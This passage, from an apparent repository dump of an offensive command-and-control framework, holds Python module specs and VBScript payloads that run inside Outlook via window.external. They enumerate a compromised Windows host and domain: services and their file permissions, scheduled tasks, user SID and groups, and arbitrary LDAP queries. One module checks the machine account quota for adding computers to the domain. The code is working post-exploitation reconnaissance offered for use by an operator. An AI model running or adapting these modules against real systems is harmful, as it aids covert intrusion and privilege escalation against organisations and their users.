objSettings.Compatibility\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    DeleteExpiredTaskAfter: \" & objSettings.DeleteExpiredTaskAfter\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    DisallowStartIfOnBatteries: \" & objSettings.DisallowStartIfOnBatteries\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    Enabled: \" & objSettings.Enabled\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    ExecutionTimeLimit: \" & objSettings.ExecutionTimeLimit\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    Hidden: \" & objSettings.Hidden\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    IdleSettings: \" & objSettings.IdleSettings\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    MultipleInstances: \" & objSettings.MultipleInstances\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    Priority: \" & objSettings.Priority\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    RestartCount: \" & objSettings.RestartCount\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    RestartInterval: \" & objSettings.RestartInterval\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    RunOnlyIfIdle: \" & objSettings.RunOnlyIfIdle\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    StartWhenAvailable: \" & objSettings.StartWhenAvailable\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    StopIfGoingOnBatteries: \" & objSettings.StopIfGoingOnBatteries\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    WakeToRun: \" & objSettings.WakeToRun\r\n\t\tSet objSettings = Nothing\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Settings: \" & objItem.Settings\r\n\t\tschedtasks = schedtasks & vbCrLf &  \"Triggers Details:\"\r\n\t\tFor Each objTrigger In objItem.Triggers\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Id: \" & objTrigger.Id\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    RandomDelay: \" & objTrigger.RandomDelay\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    DaysInterval: \" & objTrigger.DaysInterval\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    StartBoundary: \" & objTrigger.StartBoundary\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Enabled: \" & objTrigger.Enabled\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    StateChange: \" & objTrigger.StateChange\r\n\t\t\t\r\n\t\t\tSet objRepetition = objTrigger.Repetition\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Repetition Details: \"\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"        StopAtDurationEnd: \" & objRepetition.StopAtDurationEnd\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"        Duration: \" & objRepetition.Duration\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"        Interval: \" & objRepetition.Interval\r\n\t\t\tset objRepetition = Nothing\r\n\t\tNext\r\n    schedtasks = schedtasks & vbCrLf\r\n\tNext\r\n\tlist_scheduledtasks = schedtasks\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_servicepermissions.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the services and the permissions on the host. \n\n        It lists out:\n        - Service Name\n        - Service Binary path\n        - Group name and Access\n        \n        Example Output:        \n        Enumerating Permissions for: UserDataSvc_3dc16\n        C:\\Windows\\system32\\svchost.exe\n            GROUP: NT SERVICE\\TRUSTEDINSTALLER\n                binPath: C:\\Windows\\system32\\svchost.exe\n                Sanity Check - Access Mask Value To Match: 2032127\n                    ACE Type: Allow\n                    Access Mask (Decimal): 2032127 (FullControl)\n        \n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select * from Win32_Service\n        - Query: Select * from win32_logicalFileSecuritySetting WHERE Path=VARIABLE\n        \"\"\"        \n        self.entry = 'list_servicepermissions'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_servicepermissions.txt",
    "content": "Function list_servicepermissions()\r\n\t' ACE Types\r\n\r\n\tConst ACCESS_ALLOWED_ACE_TYPE = &h0\r\n\tConst ACCESS_DENIED_ACE_TYPE  = &h1\r\n\r\n\t' Base Access Mask values\r\n\r\n\tConst FILE_READ_DATA = &h1\r\n\tConst FILE_WRITE_DATA = &h2\r\n\tConst FILE_APPEND_DATA = &h4\r\n\tConst FILE_READ_EA = &h8\r\n\tConst FILE_WRITE_EA = &h10\r\n\tConst FILE_EXECUTE = &h20\r\n\tConst FILE_DELETE_CHILD = &h40\r\n\tConst FILE_READ_ATTRIBUTES = &h80\r\n\tConst FILE_WRITE_ATTRIBUTES = &h100\r\n\tConst FOLDER_DELETE = &h10000\r\n\tConst READ_CONTROL = &h20000\r\n\tConst WRITE_DAC = &h40000\r\n\tConst WRITE_OWNER = &h80000\r\n\tConst SYNCHRONIZE = &h100000\r\n\r\n\t' Constructed Access Masks\r\n\r\n\tDim FULL_CONTROL\r\n\tFULL_CONTROL = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _\r\n\t\tFILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + FILE_DELETE_CHILD + _\r\n\t\tFILE_READ_ATTRIBUTES + FILE_WRITE_ATTRIBUTES + FOLDER_DELETE + _\r\n\t\tREAD_CONTROL + WRITE_DAC + WRITE_OWNER + SYNCHRONIZE\r\n\r\n\tDim READ_ONLY\r\n\tREAD_ONLY = FILE_READ_DATA + FILE_READ_EA + FILE_EXECUTE + _\r\n\t\tFILE_READ_ATTRIBUTES + READ_CONTROL + SYNCHRONIZE\r\n\r\n\tDim MODIFY\r\n\tMODIFY = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _\r\n\t\tFILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + _\r\n\t\tFILE_READ_ATTRIBUTES + _\r\n\t\tFILE_WRITE_ATTRIBUTES + FOLDER_DELETE + READ_CONTROL + SYNCHRONIZE\r\n\r\n\r\n\tDim strRights\r\n\tDim intAccessMask\r\n\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet col = objWMIService.ExecQuery (\"Select * from Win32_Service\")\r\n\r\n\tFor Each objService in col\r\n\t\tif InStr(objService.PathName,\"{\") then\r\n\t\t\tbinarray = split(objService.PathName, \" \", -1, 1)\r\n\t\t\tbinpathStr = binarray(0)\r\n\t\telseif InStr(objService.PathName,\"-\") then\r\n\t\t\tbinarray = split(objService.PathName, \"-\", -1, 1)\r\n\t\t\tbinpathStr = binarray(0)\r\n\t\telseif InStr(objService.PathName,\"/\") then\r\n\t\t\tbinarray = split(objService.PathName, \"/\", -1, 1)\r\n\t\t\tbinPathStr = Replace(binarray(0), chr(34), \"\")\r\n\t\t\tbinpathStr = binarray(0)\r\n\t\telse\r\n\t\t\tbinpathStr = objService.PathName\r\n\t\tend if\r\n    \r\n\t\tsanbin = trim(Replace(binarray(0), chr(34), \"\"))\r\n\t\ttoreturn = toreturn & \"Enumerating Permissions for: \" & objService.Name & vbCrLf\r\n\t\ttoreturn = toreturn & sanbin & vbCrLf\r\n\t\t\r\n\t\tstrDir = Replace(sanbin,\"\\\",\"\\\\\")\r\n\t\tSet colACLs = objWMIService.ExecQuery(\"Select * from win32_logicalFileSecuritySetting WHERE Path='\" & strDir & \"'\",,48)\r\n\t\tfor each objItem in colACLs\r\n\t\t\tIf objItem.GetSecurityDescriptor(objSD) Then\r\n\t\t\t\tDisplayFileSecurity = False\r\n\t\t\tEnd If\r\n\r\n\t\t\tcolACEs = objSD.DACL\r\n\t\t\tfor each objACE in colACEs\r\n\t\t\t\tstrAccessList = objACE.Trustee.Domain & \"\\\" & objACE.Trustee.Name\r\n\t\t\t\t\r\n\t\t\t\tif left(strAccessList,1) = \"\\\" then\r\n\t\t\t\t\tstrAccessList = right(strAccessList,len(strAccessList) -1)\r\n\t\t\t\tend if\r\n\r\n\t\t\t\t\ttoreturn = toreturn & \"    GROUP: \" & Ucase(strAccessList) & vbCrLf\r\n\t\t\t\t\ttoreturn = toreturn & vbTab & \"binPath: \" & Replace(strDir,\"\\\\\",\"\\\") & vbCrLf\r\n\r\n\t\t\t\t\tif objACE.AceType = 0 Then\r\n\t\t\t\t\t\t   toreturn = toreturn & vbTab & \"Sanity Check - Access Mask Value To Match: \" & objACE.AccessMask & vbCrLf\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tIf objACE.ACEType = ACCESS_ALLOWED_ACE_TYPE Then\r\n\t\t\t\t\t\t\t\ttoreturn = toreturn & vbTab & \"  ACE Type: Allow\" & vbCrLf\r\n\t\t\t\t\t\t\tElse\r\n\t\t\t\t\t\t\t\ttoreturn = toreturn & vbTab & \"  ACE Type: Deny\" & vbCrLf\r\n\t\t\t\t\t\t\tEnd If\r\n\r\n\t\t\t\t\t\t\tstrRights = \"\"\r\n\t\t\t\t\t\t\tintAccessMask = objACE.AccessMask\r\n\r\n\t\t\t\t\t\t\tIf intAccessMask = FULL_CONTROL Then\r\n\t\t\t\t\t\t\t\tstrRights = \" (FullControl)\"\r\n\t\t\t\t\t\t\tElseIf intAccessMask = MODIFY Then\r\n\r\n\t\t\t\t\t\t\tstrRights = \" (Modify)\"\r\n\t\t\t\t\t\t\tElseIf intAccessMask = READ_ONLY Then\r\n\t\t\t\t\t\t\t\tstrRights = \" (ReadOnly)\"\r\n\t\t\t\t\t\t\tEnd If\r\n\r\n\t\t\t\t\t\t\ttoreturn = toreturn & vbTab & \"  Access Mask (Decimal): \" & intAccessMask & strRights & vbCrLf\r\n\t\t\t\t\telseif objACE.AceType = 1 Then\r\n\t\t\t\t\t\ttoreturn = toreturn & vbTab & \"User does not have access - \" & objACE.AceType & vbCrLf\r\n\t\t\t\t\tend if\r\n\t\t\tNext   \r\n\t\tNext\r\n\tNext\r\n\r\n\tlist_servicepermissions = toreturn & vbCrLf\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_services.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the services and status on the host. \n        It lists out:\n        - Service name\n        - State (Stopped|Started)\n        - Name (Name of the running account for the service)\n        - BinPath\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select * from Win32_Service\n        \"\"\"\n        self.entry = 'list_services'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_services.txt",
    "content": "Function list_services()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet col = objWMIService.ExecQuery (\"Select * from Win32_Service\")\r\n\r\n\tFor Each objService in col \r\n\t\tservices = services & vbCrLf & objService.Name & vbCrLf & \"    State:\" & objService.State & vbCrLf & \"    Name: \" & objService.StartName & vbCrLf & \"    BinPath:\" & objService.PathName\r\n\tNext\r\n\tlist_services = services\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_startmenu.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Lists the structure and items in the start menu.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select Name from Win32_LogicalProgramGroupItem\n        \"\"\"\n        self.entry = 'list_startmenu'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_startmenu.txt",
    "content": "Function list_startmenu()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet colItems = objWMIService.ExecQuery(\"Select Name from Win32_LogicalProgramGroupItem\")\r\n \r\n\tFor Each objItem in colItems\r\n\t\tlist_startmenu = list_startmenu & objItem.Name & vbCrLF\r\n\tNext\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_timezone.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nfrom lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Finds the name of the current timezone for the agent\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_timezone'\n        self.depends = []\n        super().__init__(templatepath)\n    \n    def rethandler(self, agent, options, data):\n        agent.timezone = data"
  },
  {
    "path": "functions/enumerate/host/list_timezone.txt",
    "content": "Function list_timezone()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.GetStringValue 2147483650, \"SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\", \"TimeZoneKeyName\", strtimezone\r\n\tlist_timezone = strtimezone\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_whoami.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Whoami with limited information. Missing privileges since there is no way to get \n        that without API access or running external binaries\n\n        It uses CreateObject(\"Wscript.Shell\")\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\directory\\LDAP)\n        - Query: \"SELECT DS_memberOf FROM ds_user Where DS_sAMAccountName = '\" & strUsername & \"'\"\n\n        - ConnectServer(root\\cimv2)\n        - Query: \"SELECT * FROM Win32_UserProfile Where SID='\" & strSID & \"'\"\n        \"\"\"\n        self.entry = 'list_whoami'\n        self.depends = []\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        for line in data.split(\"\\n\"):\n            if line.startswith(\"SID:\"):\n                sid = line.split()[1]\n                if sid:\n                    agent.sid = sid"
  },
  {
    "path": "functions/enumerate/host/list_whoami.txt",
    "content": "Function list_whoami()\r\n\ton error resume next\r\n\tSet objShell = window.external.OutlookApplication.CreateObject(\"WScript.Shell\")\r\n\r\n\toutput = \"USER INFORMATION\" & vbCrLF\r\n\toutput = output & \"----------------\" & vbCrLF\r\n\r\n\tstrUsername = objShell.RegRead(\"HKEY_CURRENT_USER\\Volatile Environment\\username\")\r\n\tstrUserDNSDomain = objShell.RegRead(\"HKEY_CURRENT_USER\\Volatile Environment\\userdnsdomain\")\r\n\tstrUserDomain = objShell.RegRead(\"HKEY_CURRENT_USER\\Volatile Environment\\userdomain\")\r\n\tif strUserDNSDomain = \"\" then\r\n\t\tstrUserDNSDomain \"WORKGROUP\"\r\n\tend if\r\n\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\t\r\n\tobjreg.EnumKey 2147483651, \"\", arrSubKeys\r\n\tFor Each strSubKey In arrSubKeys\r\n\t\tIf Left(strSubKey, 6) = \"S-1-5-\" Then\r\n\t\t\tstrVolatileEnvKeyPath = strSubKey & \"\\Volatile Environment\"\r\n\t\t\tstrVolatileEnvValueName = \"USERNAME\"\r\n\t\t\tobjreg.GetStringValue 2147483651, strVolatileEnvKeyPath, strVolatileEnvValueName, strUserValue\r\n\t\t\tIf StrComp(strUserValue, strUsername, vbTextCompare) = 0 Then\r\n\t\t\t\tstrSID = strSubKey\r\n\t\t\t\tExit For\r\n\t\t\tEnd If\r\n\t\tEnd If\r\n\tNext\r\n\r\n\toutput = output & \"Username: \" & strUsername & vbCrLF\r\n\toutput = output & \"DNS Domain: \" & strUserDNSDomain & vbCrLF\r\n\toutput = output & \"Domain: \" & strUserDomain & vbCrLF\r\n\toutput = output & \"SID: \" & strSID & vbCrLF\r\n\toutput = output & vbCrLF\r\n\toutput = output & \"GROUP INFORMATION\" & vbCrLF\r\n\toutput = output & \"----------------\" & vbCrLF\r\n\r\n\tSet objLDAP = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\tSet colItems = objLDAP.ExecQuery(\"SELECT DS_memberOf FROM ds_user Where DS_sAMAccountName = '\" & strUsername & \"'\")\r\n\t\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\tNext\r\n\toutput = output & Returndata & vbCrLF\r\n\r\n\toutput = output & \"OTHER INFORMATION\" & vbCrLF\r\n\toutput = output & \"----------------------\" & vbCrLF\r\n\r\n\tSet objwmi = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet userStateInfo = objwmi.ExecQuery(\"SELECT * FROM Win32_UserProfile Where SID='\" & strSID & \"'\")\r\n\tFor Each userInfo in userStateInfo\r\n\t\toutput = output & \"RoamingConfigured: \" & userInfo.RoamingConfigured & vbCrLF\r\n\t\toutput = output & \"RoamingPath: \" & userInfo.RoamingPath & vbCrLF\r\n\t\toutput = output & \"LocalPath: \" & userInfo.LocalPath & vbCrLF\r\n\tNext\r\n\r\n\tlist_whoami = output\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_windowsarch.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the Windows Architecture on the host. \n        This module writes the result to agent in the database.\n        Arch value is found under:\n        HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment - PROCESSOR_ARCHITECTURE.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_windowsarch'\n        self.depends = []\n        super().__init__(templatepath)\n        \n    def rethandler(self, agent, options, data):\n        agent.windowsarch = data"
  },
  {
    "path": "functions/enumerate/host/list_windowsarch.txt",
    "content": "Function list_windowsarch()\r\n\tOn Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.GetStringValue 2147483650, \"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\", \"PROCESSOR_ARCHITECTURE\", strArch\r\n\tif strArch = \"AMD64\" Then\r\n\t\tlist_windowsarch = \"x64\"\r\n\telse\r\n\t\tlist_windowsarch = strArch\r\n\tend if\r\nEnd Function\r\n"
  },
  {
    "path": "functions/enumerate/host/list_windowsversion.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the Current Windows version on the host.\n        It retrieves data from HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion and lists out:\n        - ProductName\n        - ReleaseId\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_windowsversion'\n        self.depends = []\n        super().__init__(templatepath)\n        \n    def rethandler(self, agent, options, data):\n        agent.windowsversion = data"
  },
  {
    "path": "functions/enumerate/host/list_windowsversion.txt",
    "content": "Function list_windowsversion()\r\n\tOn Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.GetStringValue 2147483650, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\", \"ProductName\", strProdName\r\n\tobjreg.GetStringValue 2147483650, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\", \"ReleaseId\", strRelId\r\n\tlist_windowsversion = strProdName & \" - \" & strRelId\r\nEnd Function\r\n"
  },
  {
    "path": "functions/enumerate/ldap/ldap_query.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,escapequotes\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        A module to query LDAP with. To find a list of attributes/values to query use WMI Explorer and look under ROOT\\directory\\LDAP.\n        Some classes: ds_domain, ds_computer , ds_container , ds_group , ds_top , ds_user \n        Currently not getting all attributes. Struggling with SWbemObjectEx sub objects.\n\n        The WHERE_* is only used if they are specified. \n        A query without WHERE_* specified looks like this:\n        SELECT <SELECT OPTION> FROM <FROM OPTION>\n\n        A query with WHERE_* specified looks like this:\n        SELECT <SELECT OPTION> FROM <FROM OPTION> WHERE <WHERE_Attribute> = '<WHERE_Value>'\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT <SELECT OPTION> FROM <FROM OPTION> WHERE <WHERE_Attribute> = '<WHERE_Value>'\n        \"\"\"\n        self.entry = 'ldap_query'\n        self.depends = []\n        self.options['SELECT'] = {\n            \"value\": \"*\",\n            \"required\": True,\n            \"description\": \"Attribute to get - Ex: DS_givenName or DS_samaccountname or * for everything\"\n        }\n        self.options['FROM'] = {\n            \"value\": \"ds_user\",\n            \"required\": True,\n            \"description\": \"What Class to get the attributes from - Ex: ds_user or ds_computer or ds_domain\"\n        }\n        self.options['WHERE_Attribute'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Specify attribute Search critera. Only used if specified. Ex: ds_samaccountname\"\n        }\n        self.options['WHERE_Value'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Specify what to search for. Ex: user1\"\n        }\n        self.options['query'] = {\n            \"value\": \"Will_Be_generated_from_other_options\",\n            \"required\": True,\n            \"description\": \"Query that is issued, You do not need to set this option since it is generated based on the other options, only reason this is shown is so you can see it in qlist\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        if self.options['WHERE_Attribute']['value'] and self.options['WHERE_Value']['value'] == None:\n            raise RuntimeError(\"Need to specify WHERE_Value when you are specifying WHERE_Attribute\")\n        if self.options['WHERE_Value']['value'] and self.options['WHERE_Attribute']['value'] == None:\n            raise RuntimeError(\"Need to specify WHERE_Attribute when you are specifying WHERE_Value\")\n        \n        if self.options['WHERE_Attribute']['value'] and self.options['WHERE_Value']['value']:\n               composed_query = \"SELECT \" + self.options['SELECT']['value'] + \" FROM \" + self.options['FROM']['value'] + \" Where \" + self.options['WHERE_Attribute']['value'] + \" = '\" + self.options['WHERE_Value']['value'] + \"'\"\n        else:\n            composed_query = \"SELECT \" + self.options['SELECT']['value'] + \" FROM \" + self.options['FROM']['value']\n        \n        self.options['query']['value'] = composed_query\n        "
  },
  {
    "path": "functions/enumerate/ldap/ldap_query.txt",
    "content": "Function ldap_query()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\r\n\tReturndata = Returndata & \"Running query: \" & {{query}} & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery({{query}})\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\r\n\tldap_query = Returndata\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/ldap/list_addcomputertodomain.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates ms-DS-MachineAccountQuota from LDAP and finds the SeMachineAccountPrivilege in the default domain controller policy \n        under the static path (GUID is always static for the default domain controller policy):\n        \\\\\\\\domain.com\\\\Sysvol\\\\domain.com\\\\Policies\\\\{6AC1786C-016F-11D2-945F-00C04FB984F9}\\\\MACHINE\\\\Microsoft\\\\Windows NT\\\\SecEdit\\\\GptTmpl.inf\n        \n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(\\\\root\\\\directory\\\\LDAP)\n        - Query: SELECT DS_ms_DS_MachineAccountQuota FROM ds_domaindns\n\n        It uses Wscript.Shell\n        - ExpandEnvironmentStrings\n\n        It uses Scripting.FileSystemObject\n        - OpenTextFile\n        - OpenTextFile().readline\n        - FileExists\n        \"\"\"\n        self.entry = 'list_addcomputertodomain'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/ldap/list_addcomputertodomain.txt",
    "content": "Function list_addcomputertodomain()\r\n\tOn error resume next\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tSet sh = window.external.OutlookApplication.CreateObject(\"Wscript.Shell\")\r\n\tdom = sh.ExpandEnvironmentStrings(\"%USERDNSDOMAIN%\")\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"\\root\\directory\\LDAP\")\r\n\tReturndata = Returndata & \"Running query: SELECT DS_ms_DS_MachineAccountQuota FROM ds_domaindns\" & vbCrLf\r\n\tSet colItems = objWMIService.ExecQuery(\"SELECT DS_ms_DS_MachineAccountQuota FROM ds_domaindns\")\r\n\tFor Each PATH in colItems\r\n\t\tFor Each pathAttribute in PATH.Properties_\r\n\t\t\tSelect Case TypeName(pathAttribute.value)\r\n\t\t\t\tcase \"String\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Long\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"Boolean\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \":\" & pathAttribute.value & vbCrLf\r\n\t\t\t\tcase \"SWbemObjectEx\"\r\n\t\t\t\t\t'Cannot get this work...\r\n\t\t\t\t\t'Returndata = Returndata & pathAttribute.name & vbCrLf\r\n\t\t\t\tcase \"Variant()\"\r\n\t\t\t\t\tReturndata = Returndata & pathAttribute.name & \"::\" & Join(pathAttribute.value, \",\") & vbCrLf\r\n\t\t\tEnd Select\r\n\t\tNext\r\n\t\tReturndata = Returndata & vbCrLf\r\n\tNext\r\n\t\r\n   \tpolpath = \"\\\\\" & dom & \"\\Sysvol\\\" & dom & \"\\Policies\\{6AC1786C-016F-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\r\n\tSet f = fs.OpenTextFile(polpath, 1, False, True)\r\n\tIf fs.FileExists( polpath ) Then\r\n\t\tDo While f.AtEndOfStream = False\r\n\t\t\tstrLine = f.readline\r\n\t\t\tif InStr(strLine, \"SeMachineAccountPrivilege\") > 0 Then\r\n\t\t\t\tReturndata = Returndata & \"Found SeMachineAccountPrivilege entry in default domain controller policy at path\" 